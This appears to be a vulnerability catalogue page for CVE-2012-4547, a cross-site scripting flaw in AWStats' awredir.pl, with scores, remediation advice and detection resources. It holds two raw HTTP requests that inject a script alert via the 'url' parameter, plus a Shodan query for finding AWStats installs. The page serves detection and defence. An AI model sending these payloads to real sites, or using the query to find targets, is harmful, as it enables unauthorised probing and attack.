🔙 목록으로 돌아가기

CVE-2012-4547: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting

TitleAWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting
AuthordhiyaneshDk
SeverityMedium
ImpactAllows remote attackers to inject arbitrary web script or HTML via the 'url' parameter.
RemediationApply the latest security patches and updates from the vendor to address this vulnerability.
CVSS Score4.3
EPSS Score0.37906
CVE IDCVE-2012-4547
CWE IDCWE-79
Shodan Querycpe:"cpe:2.3:a:laurent_destailleur:awstats"
Tags cve2012 cve xss awstats edb laurent_destailleur vuln

🔍 Vulnerability Description

AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

🌐 HTTP Request

GET /awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-4547.yaml

🦈 Packet Capture: ⬇️ Download cve-2012-4547.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A